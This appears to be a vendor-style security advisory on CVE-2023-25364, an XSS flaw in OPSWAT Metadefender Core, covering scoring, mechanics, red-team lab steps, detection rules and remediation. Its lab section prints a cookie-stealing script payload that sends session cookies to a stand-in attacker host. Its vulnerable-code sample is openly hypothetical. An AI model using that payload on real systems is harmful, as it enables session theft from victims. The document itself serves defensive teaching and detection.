CVE-2023-25364

Executive Summary

CVE-2023-25364 identifies a critical security flaw in OPSWAT Metadefender Core versions prior to 5.2.1. The vulnerability allows for HTML injection and Cross-Site Scripting (XSS) attacks due to improper input sanitization. An attacker can inject malicious scripts into web pages viewed by other users, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public proof-of-concept (PoC) or exploit code has been released at this time, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor has released a patched version (5.2.1) to address this issue.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby) but affects a proprietary enterprise security product (OPSWAT Metadefender Core). Organizations using this product should treat it as a critical supply chain risk and prioritize patching.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)
• Base Score: 6.1 (Medium)

Threat Level: Medium. While XSS is a common vulnerability, the lack of public exploits and low EPSS score reduces immediate risk. However, the potential impact on enterprise environments using Metadefender Core for security scanning makes patching a priority.

Deep Dive & Mechanics

The vulnerability resides in the web interface of OPSWAT Metadefender Core. The application fails to properly sanitize user-supplied input before rendering it in HTML output. This allows an attacker to inject arbitrary HTML or JavaScript code.

Attack Vector:

1. An attacker identifies an input field (e.g., scan results, file names, or configuration parameters) that is reflected or stored and later displayed to other users.
2. The attacker crafts a payload containing malicious HTML/JavaScript, such as <script>alert('XSS')</script> or a more sophisticated payload for session theft.
3. When a victim (e.g., an administrator) views the affected page, the injected script executes in their browser context.
4. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation in the web application layer. The application likely uses a templating engine that does not automatically escape HTML entities.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5.2.1):

# Example of vulnerable Python code (hypothetical)
def display_scan_result(file_name):
    # Directly embedding user input without sanitization
    return f"<div>Scan result for: {file_name}</div>"

Patched Code (5.2.1):

# Example of patched code with HTML escaping
import html

def display_scan_result(file_name):
    safe_name = html.escape(file_name)
    return f"<div>Scan result for: {safe_name}</div>"

The patched version uses html.escape() (or equivalent) to neutralize HTML special characters, preventing injection.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate XSS injection in a controlled lab environment.

Prerequisites:

• OPSWAT Metadefender Core version < 5.2.1 (e.g., 5.2.0)
• A web browser with developer tools
• A test user account with access to the web interface

Steps:

1. Deploy a vulnerable instance of Metadefender Core in an isolated lab network.
2. Log in to the web interface.
3. Navigate to a feature that accepts user input (e.g., custom scan rules or file upload names).
4. Inject the following payload into an input field:

   <script>alert('XSS')</script>
   

5. Submit the form and observe the alert box when the page reloads or when another user views the same data.
6. For a more advanced attack, use a payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

Expected Outcome: The injected script executes, confirming the XSS vulnerability.

Blue Team

Objective: Detect and block XSS attempts targeting Metadefender Core.

Detection Steps:

1. Monitor web application logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
2. Deploy a Web Application Firewall (WAF) with rules to block common XSS payloads.
3. Use network monitoring to detect outbound connections to unknown domains (potential cookie exfiltration).
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Immediately upgrade to version 5.2.1 or later.
• If patching is delayed, apply virtual patching via WAF rules.
• Conduct a code review of custom integrations with Metadefender Core.

Indicators of Compromise (IOCs)

• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to Metadefender Core URLs.
• File Indicators:
  • Log entries containing HTML tags like <script>, <img>, or <iframe>.
• Behavioral Indicators:
  • Unexpected pop-up alerts in the Metadefender Core web interface.
  • Unauthorized changes to scan configurations or user accounts.

Detection Engineering

YARA Rule

rule CVE_2023_25364_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting OPSWAT Metadefender Core"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2023-25364"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against OPSWAT Metadefender Core
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS injection attempts in web requests to Metadefender Core
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in documentation
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-25364 - XSS Attempt Against OPSWAT Metadefender Core";
    flow:to_server,established;
    content:"<script"; nocase; http_uri;
    content:"onerror="; nocase; http_uri;
    content:"javascript:"; nocase; http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade OPSWAT Metadefender Core to version 5.2.1 or later. This is the only official fix.
2. Virtual Patching: If immediate upgrade is not possible, deploy WAF rules to block XSS payloads in HTTP requests.
3. Input Validation: Implement strict input validation and output encoding in any custom integrations.
4. Security Hardening: Enable Content Security Policy (CSP) headers to restrict script sources.
5. Monitoring: Continuously monitor logs for XSS attempts and anomalous behavior.
6. User Training: Educate administrators about the risks of clicking on suspicious links or entering untrusted data.

Valters IT
Securing Digital Frontiers